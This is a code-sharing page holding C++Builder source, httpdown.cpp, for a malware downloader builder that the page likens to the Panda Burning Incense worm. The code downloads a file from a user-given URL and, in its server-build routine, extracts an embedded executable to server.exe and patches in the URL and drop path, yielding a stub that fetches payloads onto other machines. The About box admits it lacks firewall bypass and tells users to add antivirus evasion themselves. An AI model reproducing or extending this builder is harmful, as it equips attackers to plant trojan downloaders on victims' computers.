⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 httpdown.cpp

📁 一款类似于熊猫烧香的下载者
💻 CPP
字号:
//---------------------------------------------------------------------------

#include <vcl.h>
#pragma hdrstop

#include "HttpDown.h"
//---------------------------------------------------------------------------
#pragma package(smart_init)
#pragma resource "*.dfm"
TMainForm *MainForm;
//---------------------------------------------------------------------------
__fastcall TMainForm::TMainForm(TComponent* Owner)
    : TForm(Owner)
{
    m_nAlpha = 230;
    //设置WINDOWS2000 透明窗口参数WS_EX_LAYERED。
    SetWindowLong(Handle,GWL_EXSTYLE,
    GetWindowLong(Handle,GWL_EXSTYLE)|WS_EX_LAYERED);
    SetWindowLong(this->Handle,GWL_EXSTYLE,
    GetWindowLong(Handle,GWL_EXSTYLE)|WS_EX_LAYERED);

    SetAlpha(m_nAlpha);
}
//---------------------------------------------------------------------------
void __fastcall TMainForm::SetAlpha(int alpha)
{
    //设置窗口透明度。LWA_ALPHA指明用混合值alpha设置窗口透明度。
    SetLayeredWindowAttributes(this->Handle,NULL,alpha,LWA_ALPHA);
}
//---------------------------------------------------------------------------
void __fastcall TMainForm::FormCreate(TObject *Sender)
{   //初始化时保存窗口宽度和高度
    m_nWidth  = MainForm->Width;
    m_nHeight = MainForm->Height;
    OptionCheckBoxClick(this);
}
//---------------------------------------------------------------------------
void __fastcall TMainForm::OptionCheckBoxClick(TObject *Sender)
{   //选中"高级选项"时扩展窗口
    if(OptionCheckBox->Checked)
    {
        SetWindowPos(MainForm->Handle,NULL,0,0,m_nWidth,m_nHeight,SWP_NOMOVE|SWP_NOZORDER);
    }
    else
    {
        int nHeight = OptionCheckBox->Top + OptionCheckBox->Height + 60;
        SetWindowPos(MainForm->Handle,NULL,0,0,m_nWidth,nHeight,SWP_NOMOVE|SWP_NOZORDER);
    }
}
//---------------------------------------------------------------------------
void __fastcall TMainForm::ReportCheckBoxClick(TObject *Sender)
{
    if(ReportCheckBox->Checked)
    {
        ReportEdit->Enabled = true;
    }
    else
    {
        ReportEdit->Enabled = false;
    }
}
//---------------------------------------------------------------------------
void __fastcall TMainForm::AuthorLabelClick(TObject *Sender)
{
    ShellExecute(NULL,"open","http://www.huihu32.cn/",NULL,NULL,SW_MAXIMIZE);
}
//---------------------------------------------------------------------------
void __fastcall TMainForm::AuthorLabelMouseEnter(TObject *Sender)
{
    AuthorLabel->Left = 156;
    AuthorLabel->Caption = " Www.HuiHu32.cN ";
    AuthorLabel->Font->Color = clLime;
}
//---------------------------------------------------------------------------
void __fastcall TMainForm::AuthorLabelMouseLeave(TObject *Sender)
{
    AuthorLabel->Left = 176;
    AuthorLabel->Caption = "  灰狐开发  ";
    AuthorLabel->Font->Color = clYellow;
}
//---------------------------------------------------------------------------
void __fastcall TMainForm::AboutButtonClick(TObject *Sender)
{
    MessageBox(NULL,"本程序由暗安全技术小组成员\n\n灰狐(D.S.T && E.S.T)  独立开发\n\n目前版本不穿墙、请自行免杀\n\n欢迎各路大侠进行测试、研究","帮助",NULL);
}
//---------------------------------------------------------------------------
int  __fastcall TMainForm::InternetGetFile(char szUrl[MAX_PATH],char szFileName[MAX_PATH])
{
    DWORD dwFlags;

	//得到Internet的连接状态
    InternetGetConnectedState(&dwFlags,0);
    statusBar->SimpleText = " 正在检测当前Internet连接状态...";
	char strAgent[64];
	sprintf(strAgent,"Agent%ld",timeGetTime());

	HINTERNET hOpen;

	if(!(dwFlags & INTERNET_CONNECTION_PROXY))
	{
		hOpen = InternetOpen(strAgent,INTERNET_OPEN_TYPE_PRECONFIG_WITH_NO_AUTOPROXY,NULL,NULL,0);
	}
	else
	{
		hOpen = InternetOpenA(strAgent,INTERNET_OPEN_TYPE_PRECONFIG,NULL,NULL,0);
	}

	if(!hOpen)
	{
        statusBar->SimpleText = " Internet连接错误!";
		return -1;
	}

	DWORD dwSize;
	char szHead[] = "Accept: */*\r\n\r\n";
	void* szTemp[16384];
	HINTERNET hConnect;
	FILE *fp;

    statusBar->SimpleText = " 正在尝试连接URL...";

	//打开Internet文件的URL
	if(!(hConnect = InternetOpenUrlA(hOpen,szUrl,szHead,strlen(szHead),INTERNET_FLAG_DONT_CACHE|INTERNET_FLAG_PRAGMA_NOCACHE|INTERNET_FLAG_RELOAD,0)))
	{
        statusBar->SimpleText = " 不能打开此URL标识的文件!";
		return -1;
	}
	//创建本地文件
	fp = fopen(szFileName,"wb+");
    statusBar->SimpleText = " 正在创建本地文件...";
    if(fp == NULL)
    {
        statusBar->SimpleText = " 创建服务端时出错!";
        return -1;
    }

	DWORD dwByteToRead = 0;
	DWORD dwSizeOfRq = 4;

	//查询Internet文件的长度信息
	if(!HttpQueryInfo(hConnect,HTTP_QUERY_CONTENT_LENGTH|HTTP_QUERY_FLAG_NUMBER,(LPVOID)&dwByteToRead,&dwSizeOfRq,NULL))
	{
		dwByteToRead = 0;
	}
	do
	{
		//读取文件数据
        statusBar->SimpleText = " 正在从Internet读取文件内容...";
		if(!InternetReadFile(hConnect,szTemp,16384,&dwSize))
		{
            statusBar->SimpleText = " 从Internet读取文件出错!";
			fclose(fp);
			return -1;
		}
		if(dwSize == 0)	//下载完毕退出循环
			break;
		else
			fwrite(szTemp,dwSize,1,fp);

	}while(true);

    statusBar->SimpleText = " 下载完成!";
	fclose(fp);
	InternetCloseHandle(hOpen);

	return 0;
}
//---------------------------------------------------------------------------
void __fastcall TMainForm::TestButtonClick(TObject *Sender)
{
    char NameBuffer[MAX_PATH];
    char PathBuffer[MAX_PATH];
    sprintf(NameBuffer,"%s",UrlEdit->Text.c_str());
    sprintf(PathBuffer,"%s",LocalEdit->Text.c_str());
    if(InternetGetFile(NameBuffer,PathBuffer) == 0)
    {
        MessageBox(NULL,"成功:请检查目标文件是否存在!","提示",NULL);
    }
}
//---------------------------------------------------------------------------

void __fastcall TMainForm::ServerButtonClick(TObject *Sender)
{
    HRSRC hRc = FindResource( NULL, "MyExe", "Exe" );
    if( !hRc )
    {
        MessageBox( NULL, "抱歉:在生成服务端的过程中出现了错误!", "Error", MB_OK );
        return;
    }
    HGLOBAL hg = LoadResource( NULL, hRc );
    DWORD dw = SizeofResource( NULL, hRc );
    char a[35000];
    memset( a, 0, 35000 );
    memcpy( a, hg, dw );
    //创建服务端
    FILE *out = fopen( "server.exe", "wb+" );
    fwrite( a, 1, dw, out );
    fclose( out );

    //修改参数
    Sleep(10);
    FILE *fp = fopen("server.exe","rb+");
    rewind(fp);
	char buffer1[100],buffer2[100];
	memset( buffer1, 0, 100 );
	memset( buffer2, 0, 100 );
	sprintf( buffer1, "%s", UrlEdit->Text.c_str());
	sprintf( buffer2, "%s", LocalEdit->Text.c_str() );
	fseek(fp,0x7030,0);
	fwrite( buffer1, 1, 100, fp );
	fseek( fp, 0x7098, 0 );
	fwrite( buffer2, 1, 100, fp );
	fclose(fp);

    MessageBox(NULL,"已生成服务端:server.exe","成功",NULL);
}
//---------------------------------------------------------------------------


⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -